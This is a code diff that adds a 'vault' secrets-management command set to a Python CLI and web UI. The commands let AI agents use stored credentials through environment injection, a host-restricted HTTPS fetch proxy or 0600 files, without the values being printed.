+ for entry in allowed or []:
+ entry = str(entry).strip().lower()
+ if not entry:
+ continue
+ if entry.startswith("."):
+ if host == entry[1:] or host.endswith(entry):
+ return True
+ elif host == entry:
+ return True
+ return False
+
+
+# Headers that would override the request authority. The allowlist binds a secret to the URL
+# hostname, so letting any of these through (via --header OR a stored auth-header policy) could
+# route the credential-bearing request to a different vhost on the same endpoint.
+_FORBIDDEN_FETCH_HEADER_NAMES = frozenset({"host"})
+
+
+def _reject_forbidden_header(name, *, help_command: str) -> None:
+ if str(name).strip().lower() in _FORBIDDEN_FETCH_HEADER_NAMES:
+ raise TaskCliError(
+ f"the {str(name).strip()!r} header cannot be set in vault fetch (it overrides the request authority)",
+ code="forbidden_header",
+ help_command=help_command,
+ )
+
+
+def _parse_headers(specs) -> dict:
+ headers: dict[str, str] = {}
+ for spec in specs or []:
+ if ":" not in spec:
+ raise TaskCliError(f"invalid --header (expected 'Name: value'): {spec!r}", code="invalid_header", help_command="vibe vault fetch --help")
+ name, _, value = spec.partition(":")
+ name = name.strip()
+ _reject_forbidden_header(name, help_command="vibe vault fetch --help")
+ headers[name] = value.strip()
+ return headers
+
+
+def _read_request_body(args):
+ data = getattr(args, "data", None)
+ data_file = getattr(args, "data_file", None)
+ if data is not None and data_file:
+ raise TaskCliError("use at most one of --data / --data-file", code="invalid_data", help_command="vibe vault fetch --help")
+ if data is not None:
+ return data.encode("utf-8")
+ if data_file:
+ try:
+ return Path(data_file).read_bytes()
+ except OSError as exc:
+ raise TaskCliError(f"cannot read --data-file: {exc}", code="data_file_unreadable", help_command="vibe vault fetch --help") from exc
+ return None
+
+
+def cmd_vault_fetch(args):
+ from urllib.parse import urlsplit
+
+ from storage import vault_service
+ from vibe import api
+
+ help_command = "vibe vault fetch --help"
+ try:
+ name = args.auth
+ url = args.url
+ method = (getattr(args, "method", None) or "GET").upper()
+ headers = _parse_headers(getattr(args, "header", None))
+ body = _read_request_body(args)
+ if method in {"TRACE", "TRACK", "CONNECT"}:
+ # These echo the request (incl. the attached Authorization / custom-auth header) back
+ # in the response body, which fetch writes to stdout — leaking the secret value into
+ # stdout/transcripts. Reject before decrypting or sending.
+ raise TaskCliError(
+ f"method {method} is not allowed for vault fetch (it can echo the credential into the response)",
+ code="method_not_allowed",
+ help_command=help_command,
+ )
+ # Preflight --output BEFORE sending: a side-effecting request (POST/PATCH) must not run
+ # and then fail on a local write, or the agent will retry and duplicate the action. Check
+ # the target itself (an existing dir, or an existing file we can't write), not just the
+ # parent.
+ output = getattr(args, "output", None)
+ if output:
+ out_path = Path(output)
+ if out_path.exists():
+ # Require an existing regular file: a dir can't be written as a file, and a
+ # FIFO / device (e.g. /dev/full) passes os.access but write_bytes can block or
+ # fail AFTER the credential-bearing request already ran.
+ writable = out_path.is_file() and os.access(out_path, os.W_OK)
+ else:
+ writable = out_path.parent.is_dir() and os.access(out_path.parent, os.W_OK)
+ if not writable:
+ raise TaskCliError(
+ f"output path is not writable: {output}",
+ code="output_unwritable",
+ help_command=help_command,
+ )
+ host = urlsplit(url).hostname
+ if not host:
+ raise TaskCliError(f"invalid --url: {url!r}", code="invalid_url", help_command=help_command)
+ # Never attach a credential over plaintext: a real host must be HTTPS so domain
+ # binding can't be used to downgrade transport. Loopback is exempt for local dev.
+ is_loopback = host in {"localhost", "127.0.0.1", "::1"}
+ scheme = (urlsplit(url).scheme or "").lower()
+ if scheme != "https" and not is_loopback:
+ raise TaskCliError(
+ f"refusing to attach a credential over plaintext {scheme or 'http'}:// to {host!r}; use https (loopback exempt)",
+ code="insecure_transport",
+ help_command=help_command,
+ )
+
+ engine = _open_vault_engine()
+ # Read policy + envelope in a read connection. The host check runs BEFORE handing the
+ # envelope to avault, so a disallowed target never even unwraps the secret.
+ with engine.connect() as conn:
+ policy = vault_service.get_secret_policy(conn, name)
+ allowed = policy.get("allowed_hosts") or []
+ if not allowed:
+ raise TaskCliError(
+ f"secret '{name}' has no allowed_hosts; it cannot be used via fetch "
+ f"(set them with: vibe vault set {name} --allow-host <host>)",
+ code="proxy_unbound",
+ help_command=help_command,
+ )
+ if not _host_allowed(host, allowed):
+ raise TaskCliError(
+ f"host {host!r} is not allowed for secret '{name}'",
+ code="host_not_allowed",
+ help_command=help_command,
+ details={"host": host, "allowed_hosts": allowed},
+ )
+ auth = policy.get("auth") or {"type": "bearer"}
+ if auth.get("type") == "header":
+ # Defensive: set-time validation blocks new Host auth-headers; this also guards
+ # legacy / hand-edited policies. Reject BEFORE handing off so a bad policy never
+ # even unwraps the secret.
+ _reject_forbidden_header(auth.get("name", ""), help_command=help_command)
+ sealed = vault_service.get_envelope(conn, name)
+
+ # Hand the envelope + request to avault: it injects the credential at egress, performs
+ # the request, and returns ONLY the response (status/headers/body) — the value never
+ # returns here. avault re-enforces the allowed_hosts allowlist before decrypting.
+ auth_type = auth.get("type") or "bearer"
+ if auth_type == "header":
+ inject = {"type": "header", "name": auth.get("name", "")}
+ elif auth_type == "query":
+ inject = {"type": "query", "name": auth.get("name", "")}
+ else:
+ inject = {"type": "bearer"}
+ request = {
+ "method": method,
+ "url": url,
+ "allowed_hosts": allowed,
+ "headers": headers,
+ "body": body.decode("utf-8") if isinstance(body, (bytes, bytearray)) else body,
+ "inject": inject,
+ }
+ result = api.avault_deliver_fetch(name, sealed, request)
+ status = int(result.get("status") or 0)
+ resp_body = result.get("body") or ""
+
+ try:
+ with engine.begin() as conn:
+ vault_service.record_proxy_use(
+ conn,
+ name,
+ requester={"source": "cli", "pid": os.getpid()},
+ delivery={"host": host, "method": method, "status": status},
+ )
+ except Exception:
+ # The upstream request already happened (possibly a side-effecting POST/PATCH). A
+ # bookkeeping failure must not make the agent see a failure and retry — duplicating
+ # the upstream action. Contain it and still return the real response below.
+ pass
+ except vault_service.SecretNotFoundError:
+ _print_task_error(TaskCliError(f"secret '{args.auth}' not found", code="secret_not_found", help_command=help_command))
+ return 1
+ except vault_service.UnsupportedProtectionError as exc:
+ _print_task_error(TaskCliError(str(exc), code="protected_tier_unavailable", help_command=help_command))
+ return 1
+ except TaskCliError as exc:
+ _print_task_error(exc)
+ return 1
+ except api.AvaultError as exc:
+ _print_task_error(TaskCliError(f"request failed: {exc}", code="request_failed", help_command=help_command))
+ return 1
+ except Exception as exc:
+ _print_task_error(exc, help_command=help_command)
+ return 1
+
+ # The response body is the upstream API's response (not a secret) — pass it through. avault
+ # returns it as UTF-8 text (binary responses are rejected upstream by avault).
+ output = getattr(args, "output", None)
+ body_bytes = resp_body.encode("utf-8")
+ if output:
+ try:
+ Path(output).write_bytes(body_bytes)
+ except OSError as exc:
+ # The secret-bearing request already completed; a bad --output path should still
+ # yield a structured error (missing parent / permission denied), not a traceback.
+ _print_task_error(TaskCliError(f"cannot write output file: {exc}", code="output_unwritable", help_command=help_command))
+ return 1
+ else:
+ sys.stdout.buffer.write(body_bytes)
+ sys.stdout.flush()
+ return 0 if 200 <= status <= 299 else 1
+
+
+def _write_private_file(path: Path, content: str) -> None:
+ """Atomically write ``content`` to ``path`` as a 0600 file.
+
+ ``tempfile.mkstemp`` creates the temp file 0600 from the start, so the secret is never
+ momentarily world-readable even when ``path`` pre-existed with looser perms (``O_TRUNC``
+ would have kept the old mode until a late ``chmod``). ``os.replace`` swaps it in
+ atomically — a crash mid-write leaves either the old file or the complete new one, never
+ a truncated/partial secret.
+ """
+ import tempfile
+
+ path.parent.mkdir(parents=True, exist_ok=True)
+ fd, tmp = tempfile.mkstemp(dir=str(path.parent), prefix=f".{path.name}.", suffix=".tmp")
+ try:
+ with os.fdopen(fd, "w", encoding="utf-8") as handle:
+ handle.write(content)
+ os.replace(tmp, path)
+ except BaseException:
+ try:
+ os.unlink(tmp)
+ except OSError:
+ pass
+ raise
+
+
+def cmd_vault_export(args):
+ # Deprecated. avault (the custody core) deliberately has no plaintext-to-stdout sink —
+ # emitting `export NAME=...` for `eval` would hand the decrypted value back to the shell
+ # (and anything capturing stdout). Use `vibe vault run`, which injects secrets straight
+ # into a child process's environment — never your shell, never disk.
+ help_command = "vibe vault run --help"
+ _print_task_error(
+ TaskCliError(
+ "vibe vault export is no longer supported. Use "
+ "'vibe vault run --env NAME -- <command>' to inject secrets directly into a "
+ "process (off your shell and off disk).",
+ code="export_deprecated",
+ help_command=help_command,
+ )
+ )
+ return 1
+
+
+def cmd_vault_inject(args):
+ # Advanced / not recommended (prefer 'run'): render secrets into a 0600 file for
+ # tools that read config files. The value lands on disk. avault renders + writes the
+ # file (it holds the plaintext); nothing lands in this process. Help-only.
+ from storage import vault_service
+ from vibe import api
+
+ help_command = "vibe vault inject --help"
+ try:
+ keys = [k.strip() for k in (getattr(args, "keys", None) or "").split(",") if k.strip()]
+ keys = list(dict.fromkeys(keys)) # dedupe, preserve order: A,A is one entry + one audit
+ if not keys:
+ raise TaskCliError("--keys A,B is required", code="missing_keys", help_command=help_command)
+ out = getattr(args, "out", None)
+ if not out:
+ raise TaskCliError("--out FILE is required", code="missing_out", help_command=help_command)
+ fmt = (getattr(args, "format", None) or "dotenv").lower()
+ if fmt in ("yaml", "toml"):
+ # avault renders the file (it holds the plaintext); only dotenv/json are wired in P1.1.
+ raise TaskCliError(
+ f"--format {fmt} is not yet supported via avault (use dotenv or json)",
+ code="format_unavailable",
+ help_command=help_command,
+ )
+ if fmt not in ("dotenv", "json"):
+ raise TaskCliError(f"unknown --format: {fmt!r} (dotenv|json)", code="invalid_format", help_command=help_command)
+ engine = _open_vault_engine()
+ with engine.connect() as conn:
+ envelopes = vault_service.get_envelopes(conn, keys)
+ secrets = [{"name": k, "key": k, "envelope": envelopes[k]} for k in keys]
+ # avault writes the 0600 file atomically; if the path is unwritable it raises and no
+ # delivery is recorded.
+ api.avault_deliver_inject(out, fmt, secrets)
+ # The file is on disk → delivered. A bookkeeping failure must not report a failed command
+ # (callers would retry though the secrets are already written), so record best-effort.
+ try:
+ with engine.begin() as conn:
+ vault_service.record_deliveries(conn, keys, requester={"source": "cli", "pid": os.getpid()}, mode=f"inject:{fmt}")
+ except Exception:
+ pass
+ _print_cli_payload("vault_inject", written=True, path=str(out), format=fmt, keys=keys)
+ return 0
+ except vault_service.SecretNotFoundError as exc:
+ _print_task_error(TaskCliError(f"secret '{exc}' not found", code="secret_not_found", help_command=help_command))
+ return 1
+ except vault_service.UnsupportedProtectionError as exc:
+ _print_task_error(TaskCliError(str(exc), code="protected_tier_unavailable", help_command=help_command))
+ return 1
+ except TaskCliError as exc:
+ _print_task_error(exc)
+ return 1
+ except api.AvaultError as exc:
+ _print_task_error(TaskCliError(f"avault inject failed: {exc}", code="avault_failed", help_command=help_command))
+ return 1
+ except Exception as exc:
+ _print_task_error(exc, help_command=help_command)
+ return 1
+
+
+def _read_passphrase_stdin(help_command: str) -> str:
+ data = sys.stdin.read()
+ phrase = data.split("\n", 1)[0].strip() if data else ""
+ if not phrase:
+ raise TaskCliError("a passphrase is required on stdin", code="missing_passphrase", help_command=help_command)
+ return phrase
+
+
+def cmd_vault_key_export(args):
+ from storage import vault_service
+ from vibe import api
+
+ help_command = "vibe vault key export --help"
+ try:
+ passphrase = _read_passphrase_stdin(help_command)
+ blob = api.avault_key_export(passphrase)
+ out = getattr(args, "out", None)
+ if out:
+ # Create 0600 from the start (the blob holds the passphrase-wrapped key) —
+ # no window where it's world-readable under a permissive umask.
+ _write_private_file(Path(out), json.dumps(blob, indent=2) + "\n")
+ _print_cli_payload("vault_key_export", written=True, path=str(out))
+ else:
+ print(json.dumps(blob, indent=2))
+ try:
+ # print() may only buffer; flush so a piped consumer actually received the blob
+ # before we audit it as exported.
+ sys.stdout.flush()
+ except BrokenPipeError:
+ return 1 # pipe closed early → blob not delivered → don't audit
+ # Exporting the machine key is the most sensitive vault op (it can decrypt every
+ # standard-tier secret once the passphrase is known), so record a value-free audit row
+ # for the activity panel. Best-effort: an audit-write hiccup must not fail a delivered
+ # export.
+ try:
+ engine = _open_vault_engine()
+ with engine.begin() as conn:
+ vault_service.audit(
+ conn,
+ "key_exported",
+ requester={"source": "cli", "pid": os.getpid()},
+ delivery={"out": str(out) if out else "stdout"},
+ )
+ except Exception:
+ pass
+ return 0
+ except api.AvaultError as exc:
+ _print_task_error(TaskCliError(f"avault key export failed: {exc}", code="vault_key_export_failed", help_command=help_command))
+ return 1
+ except TaskCliError as exc:
+ _print_task_error(exc)
+ return 1
+ except Exception as exc:
+ _print_task_error(exc, help_command=help_command)
+ return 1
+
+
+def cmd_vault_key_import(args):
+ from storage import vault_service
+ from vibe import api
+
+ help_command = "vibe vault key import --help"
+ try:
+ passphrase = _read_passphrase_stdin(help_command)
+ try:
+ blob = json.loads(Path(args.file).read_text(encoding="utf-8"))
+ except (OSError, ValueError) as exc:
+ raise TaskCliError(f"cannot read export file: {exc}", code="export_file_unreadable", help_command=help_command) from exc
+ api.avault_key_import(blob, passphrase, force=bool(getattr(args, "force", False)))
+ # Replacing the machine key changes vault decryptability for every standard-tier secret;
+ # record it for the activity panel, symmetric with key export. Best-effort.
+ try:
+ engine = _open_vault_engine()
+ with engine.begin() as conn:
+ vault_service.audit(
+ conn, "key_imported", requester={"source": "cli", "pid": os.getpid()}, delivery={"file": str(args.file)}
+ )
+ except Exception:
+ pass
+ _print_cli_payload("vault_key_import", imported=True)
+ return 0
+ except api.AvaultError as exc:
+ _print_task_error(TaskCliError(f"avault key import failed: {exc}", code="vault_key_import_failed", help_command=help_command))
+ return 1
+ except TaskCliError as exc:
+ _print_task_error(exc)
+ return 1
+ except Exception as exc:
+ _print_task_error(exc, help_command=help_command)
+ return 1
+
+
def cmd_watch_add(args):
try:
session_policy = _validate_definition_session_policy(
@@ -5546,7 +6290,9 @@ def cmd_runtime(args) -> int:
offline = True if getattr(args, "offline", False) else None
payload = manager.prepare(force=getattr(args, "force", False), offline=offline)
askill = _ensure_askill_during_prepare(offline=bool(offline))
+ avault = _ensure_avault_during_prepare(offline=bool(offline))
payload["askill"] = askill
+ payload["avault"] = avault
if getattr(args, "json", False):
print(json.dumps(payload, indent=2))
else:
@@ -5564,6 +6310,12 @@ def cmd_runtime(args) -> int:
print("askill installed." if askill.get("changed") else "askill ready.")
else:
print(f"askill not ready: {askill.get('message') or 'install failed'}", file=sys.stderr)
+ if avault.get("skipped"):
+ print(f"avault: skipped ({avault.get('reason') or 'skipped'}).")
+ elif avault.get("ok"):
+ print("avault installed." if avault.get("changed") else "avault ready.")
+ else:
+ print(f"avault not ready: {avault.get('message') or 'install failed'}", file=sys.stderr)
return 1 if getattr(args, "strict", False) and not payload.get("ok") else 0
if command == "clean":
payload = manager.clean(keep_previous=getattr(args, "keep_previous", 1))
@@ -5629,6 +6381,18 @@ def _ensure_askill_during_prepare(offline: bool = False) -> dict:
return {"ok": False, "message": str(exc)}
+def _ensure_avault_during_prepare(offline: bool = False) -> dict:
+ """Ensure avault (the Vault custody core) alongside other local deps."""
+ if offline:
+ return {"ok": True, "skipped": True, "reason": "offline"}
+ if os.environ.get("VIBE_INSTALL_SKIP_AVAULT", "").strip().lower() in {"1", "true", "yes", "on"}:
+ return {"ok": True, "skipped": True, "reason": "VIBE_INSTALL_SKIP_AVAULT"}
+ try:
+ return api.ensure_avault_installed(force=True)
+ except Exception as exc: # noqa: BLE001
+ return {"ok": False, "message": str(exc)}
+
+
def cmd_restart():
"""Restart all services (stop + start)."""
return _cmd_restart_with_delay(0.0)
@@ -6040,6 +6804,184 @@ def build_parser():
)
_add_json_noop(session_update_parser)
+ vault_parser = subparsers.add_parser(
+ "vault",
+ help="Store and deliver secrets to agents without exposing values",
+ description=(
+ "Manage Vault secrets. Values are encrypted at rest and never printed to stdout: "
+ "agents obtain them via 'vibe vault run', which injects them into a child process's "
+ "environment so the value never enters the agent's text channel."
+ ),
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ error_help_command="vibe vault --help",
+ error_hint="Run one of the vault subcommands below. Start with: vibe vault list",
+ )
+ vault_subparsers = vault_parser.add_subparsers(dest="vault_command", metavar="{set,list,rm,run,fetch,request,export,inject,key}")
+ vault_subparsers.required = True
+
+ vault_set_parser = vault_subparsers.add_parser(
+ "set",
+ help="Store a secret (value from --stdin or --from-file, never argv)",
+ description="Create a secret. The value is read from --stdin or --from-file so it never lands in shell history or an agent's argv.",
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ error_help_command="vibe vault set --help",
+ )
+ vault_set_parser.add_argument("name", help="Secret name, ENV-style (^[A-Z][A-Z0-9_]*$)")
+ vault_set_parser.add_argument("--stdin", action="store_true", help="Read the value from standard input")
+ vault_set_parser.add_argument("--from-file", help="Read the value from this file")
+ vault_set_parser.add_argument("--group", help="Group (organizational label). Defaults to 'default'.")
+ vault_set_parser.add_argument("--tag", action="append", help="Tag for filtering (repeatable)")
+ vault_set_parser.add_argument("--description", help="Human description shown in the Vaults page")
+ vault_set_parser.add_argument(
+ "--allow-host",
+ action="append",
+ metavar="HOST",
+ help="Allow this host for 'vibe vault fetch' (repeatable; '.example.com' matches subdomains). Required to use the secret via fetch.",
+ )
+ vault_set_parser.add_argument("--auth-header", metavar="NAME", help="For fetch: attach the value as this header (default: Authorization: Bearer <value>)")
+ vault_set_parser.add_argument("--auth-query", metavar="NAME", help="For fetch: attach the value as this query parameter")
+ _add_json_noop(vault_set_parser)
+
+ vault_list_parser = vault_subparsers.add_parser(
+ "list",
+ help="List secrets (names + masked metadata; never values)",
+ description="List secret names with masked metadata. Values are never shown.",
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ error_help_command="vibe vault list --help",
+ )
+ vault_list_parser.add_argument("--group", help="Only list secrets in this group")
+ _add_json_noop(vault_list_parser)
+
+ vault_rm_parser = vault_subparsers.add_parser(
+ "rm",
+ help="Delete a secret",
+ description="Delete a secret by name.",
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ error_help_command="vibe vault rm --help",
+ )
+ vault_rm_parser.add_argument("name", help="Secret name to delete")
+ _add_json_noop(vault_rm_parser)
+
+ vault_run_parser = vault_subparsers.add_parser(
+ "run",
+ help="Run a command with secrets injected into its environment",
+ description=(
+ "Resolve secrets and exec a command with them in its environment only. Nothing is "
+ "printed to stdout; the command's own output passes through. Safest mode: the value "
+ "lives only in the child process and never enters the agent's text channel."
+ ),
+ epilog="Example: vibe vault run --env OPENAI_API_KEY --env DB=PROD_DB_URL -- python sync.py",
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ error_help_command="vibe vault run --help",
+ )
+ vault_run_parser.add_argument(
+ "--env",
+ action="append",
+ metavar="NAME[,N2]|LOCAL=NAME",
+ help="Inject secret NAME as env var NAME (LOCAL=NAME to rename; comma-separates several). Repeatable.",
+ )
+ vault_run_parser.add_argument("command_argv", nargs=argparse.REMAINDER, help="-- followed by the command to run")
+ _add_json_noop(vault_run_parser)
+
+ vault_fetch_parser = vault_subparsers.add_parser(
+ "fetch",
+ help="Make an authenticated HTTP request without exposing the credential",
+ description=(
+ "Forward an HTTP request with a vault secret attached at egress (Authorization: Bearer "
+ "by default). The agent never sees the credential — only the response body, which is "
+ "written to stdout (or --output). The secret must declare --allow-host (domain binding): "
+ "a request to any other host is refused before the secret is even decrypted."
+ ),
+ epilog="Example: vibe vault fetch --auth GITHUB_PAT --method POST --url https://api.github.com/repos/o/r/issues --data-file body.json",
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ error_help_command="vibe vault fetch --help",
+ )
+ vault_fetch_parser.add_argument("--auth", required=True, metavar="NAME", help="Secret to attach as the request credential")
+ vault_fetch_parser.add_argument("--url", required=True, help="Target URL (host must be in the secret's allowed_hosts)")
+ vault_fetch_parser.add_argument("--method", default="GET", help="HTTP method (default GET)")
+ vault_fetch_parser.add_argument("--header", action="append", metavar="'Name: value'", help="Extra request header (repeatable)")
+ vault_fetch_parser.add_argument("--data", help="Request body (string)")
+ vault_fetch_parser.add_argument("--data-file", help="Request body read from this file")
+ vault_fetch_parser.add_argument("--output", help="Write the response body to this file instead of stdout")
+ _add_json_noop(vault_fetch_parser)
+
+ vault_export_parser = vault_subparsers.add_parser(
+ "export",
+ help="(advanced) Emit 'export NAME=...' lines for eval — prefer 'run'",
+ description=(
+ "Advanced/not recommended: print 'export NAME=value' lines for "
+ "eval \"$(vibe vault export --env A --env B)\". The value transits the caller's shell, "
+ "so this is weaker than 'run'; use only when several commands in one shell need the env."
+ ),
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ error_help_command="vibe vault export --help",
+ )
+ vault_export_parser.add_argument("--env", action="append", metavar="NAME[,N2]|LOCAL=NAME", help="Secret(s) to export. Repeatable.")
+ _add_json_noop(vault_export_parser)
+
+ vault_inject_parser = vault_subparsers.add_parser(
+ "inject",
+ help="(advanced) Render secrets into a 0600 file — prefer 'run'",
+ description=(
+ "Advanced/not recommended: render secrets into a file for tools that read config files. "
+ "The value lands on disk; prefer 'run' (env-only) where possible."
+ ),
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ error_help_command="vibe vault inject --help",
+ )
+ vault_inject_parser.add_argument("--keys", required=True, metavar="A,B", help="Comma-separated secret names")
+ vault_inject_parser.add_argument("--out", required=True, metavar="FILE", help="Output file (written 0600)")
+ vault_inject_parser.add_argument("--format", default="dotenv", choices=["dotenv", "json", "yaml", "toml"], help="Output format (default dotenv)")
+ _add_json_noop(vault_inject_parser)
+
+ vault_key_parser = vault_subparsers.add_parser(
+ "key",
+ help="Back up / restore the vault machine key (for migration)",
+ description=(
+ "Export the machine key as a passphrase-wrapped blob, or import it on another "
+ "machine. The machine key encrypts standard-tier secrets at rest; back it up if "
+ "you move the vault somewhere the state dir doesn't travel with it."
+ ),
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ error_help_command="vibe vault key --help",
+ error_hint="Run: vibe vault key export | vibe vault key import <file>",
+ )
+ vault_key_sub = vault_key_parser.add_subparsers(dest="vault_key_command", metavar="{export,import}")
+ vault_key_sub.required = True
+ vault_key_export_parser = vault_key_sub.add_parser(
+ "export",
+ help="Export the machine key (passphrase read from stdin)",
+ description="Export the machine key wrapped under a passphrase read from stdin. Writes JSON to --out or stdout.",
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ error_help_command="vibe vault key export --help",
+ )
+ vault_key_export_parser.add_argument("--out", help="Write the export blob here (defaults to stdout); created 0600")
+ _add_json_noop(vault_key_export_parser)
+ vault_key_import_parser = vault_key_sub.add_parser(
+ "import",
+ help="Restore the machine key from an export (passphrase from stdin)",
+ description="Restore the machine key from an export blob. Refuses to overwrite an existing key without --force.",
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ error_help_command="vibe vault key import --help",
+ )
+ vault_key_import_parser.add_argument("file", help="Export blob file produced by 'vibe vault key export'")
+ vault_key_import_parser.add_argument("--force", action="store_true", help="Overwrite an existing machine key")
+ _add_json_noop(vault_key_import_parser)
+
+ vault_request_parser = vault_subparsers.add_parser(
+ "request",
+ help="Ask the user to provide a missing secret",
+ description="Record a request for a secret the user hasn't stored yet. With --wait, block until they provide it.",
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ error_help_command="vibe vault request --help",
+ )
+ vault_request_parser.add_argument("name", help="Secret name being requested")
+ vault_request_parser.add_argument("--reason", help="Why the secret is needed (shown to the user)")
+ vault_request_parser.add_argument("--skill", help="Skill that needs it (shown to the user)")
+ vault_request_parser.add_argument("--wait", type=float, metavar="SECONDS", help="Block until fulfilled, up to SECONDS")
+ vault_request_parser.add_argument("--no-wait", action="store_true", help="Return immediately (default)")
+ _add_json_noop(vault_request_parser)
+
show_parser = subparsers.add_parser(
"show",
help="Create, inspect, and publish session Show Pages",
@@ -6764,6 +7706,30 @@ def main():
if args.session_command == "update":
sys.exit(cmd_session_update(args))
parser.error("session command is required")
+ if args.command == "vault":
+ if args.vault_command == "set":
+ sys.exit(cmd_vault_set(args))
+ if args.vault_command == "list":
+ sys.exit(cmd_vault_list(args))
+ if args.vault_command == "rm":
+ sys.exit(cmd_vault_rm(args))
+ if args.vault_command == "run":
+ sys.exit(cmd_vault_run(args))
+ if args.vault_command == "fetch":
+ sys.exit(cmd_vault_fetch(args))
+ if args.vault_command == "request":
+ sys.exit(cmd_vault_request(args))
+ if args.vault_command == "export":
+ sys.exit(cmd_vault_export(args))
+ if args.vault_command == "inject":
+ sys.exit(cmd_vault_inject(args))
+ if args.vault_command == "key":
+ if args.vault_key_command == "export":
+ sys.exit(cmd_vault_key_export(args))
+ if args.vault_key_command == "import":
+ sys.exit(cmd_vault_key_import(args))
+ parser.error("vault key command is required")
+ parser.error("vault command is required")
if args.command == "data":
if args.data_command == "query":
sys.exit(cmd_data_query(args))
diff --git a/vibe/i18n/en.json b/vibe/i18n/en.json
index e12aba17c..e4a60d866 100644
--- a/vibe/i18n/en.json
+++ b/vibe/i18n/en.json
@@ -27,6 +27,14 @@
"processing": "Processing `/{command}`...",
"submitted": "Submitted"
},
+ "dependencies": {
+ "avault": {
+ "ready": "avault ready.",
+ "missing": "avault is not installed. Build avault locally and put it on PATH, or set agents.avault.cli_path.",
+ "installedNotFound": "avault installed but was not found on PATH; restart the service or check PATH.",
+ "alreadyRunning": "avault install or update is already running; try again shortly."
+ }
+ },
"error": {
"channelNotEnabled": "This channel is not enabled. Please go to the control panel to enable it.",
"unknownCommand": "Unknown command: `/{command}`\n\nPlease use `@avibe /start` to access all bot features.",
diff --git a/vibe/i18n/zh.json b/vibe/i18n/zh.json
index ae97ebdde..20da48fb2 100644
--- a/vibe/i18n/zh.json
+++ b/vibe/i18n/zh.json
@@ -27,6 +27,14 @@
"processing": "正在处理 `/{command}`...",
"submitted": "已提交"
},
+ "dependencies": {
+ "avault": {
+ "ready": "avault 已就绪。",
+ "missing": "尚未安装 avault。请先在本地构建 avault 并放到 PATH 上,或设置 agents.avault.cli_path。",
+ "installedNotFound": "avault 已安装,但当前 PATH 找不到它;请重启服务或检查 PATH。",
+ "alreadyRunning": "avault 安装或更新正在运行,请稍后重试。"
+ }
+ },
"error": {
"channelNotEnabled": "此频道未启用。请前往控制面板启用它。",
"unknownCommand": "未知命令:`/{command}`\n\n请使用 `@avibe /start` 访问所有机器人功能。",
diff --git a/vibe/ui_server.py b/vibe/ui_server.py
index 083012893..ac83c766f 100644
--- a/vibe/ui_server.py
+++ b/vibe/ui_server.py
@@ -2405,6 +2405,53 @@ def settings_get():
return jsonify(api.get_settings(request.args.get("platform") or None))
+def _vault_error_response(exc):
+ from vibe import api
+
+ if isinstance(exc, api.VaultApiError):
+ return jsonify({"ok": False, "code": exc.code, "message": str(exc)}), exc.status
+ return jsonify({"ok": False, "code": "vault_error", "message": str(exc)}), 400
+
+
[email protected]("/api/vault/secrets", methods=["GET"])
+def vault_secrets_get():
+ from vibe import api
+
+ return jsonify(api.get_vault_secrets(group=request.args.get("group") or None))
+
+
[email protected]("/api/vault/secrets", methods=["POST"])
+def vault_secrets_post():
+ from vibe import api
+
+ try:
+ return jsonify(api.create_vault_secret(request.json or {}))
+ except ValueError as exc:
+ return _vault_error_response(exc)
+
+
[email protected]("/api/vault/secrets/<name>", methods=["DELETE"])
+def vault_secret_delete(name):
+ from vibe import api
+
+ try:
+ return jsonify(api.delete_vault_secret(name))
+ except ValueError as exc:
+ return _vault_error_response(exc)
+
+
[email protected]("/api/vault/audit", methods=["GET"])
+def vault_audit_get():
+ from vibe import api
+
+ secret = request.args.get("secret") or None
+ try:
+ limit = int(request.args.get("limit") or 100)
+ except ValueError:
+ limit = 100
+ return jsonify(api.get_vault_audit(secret_name=secret, limit=limit))
+
+
def _show_page_error_response(exc):
code = getattr(exc, "code", "invalid_show_page_request")
# A conflict (not a malformed request) when the page is in the wrong state or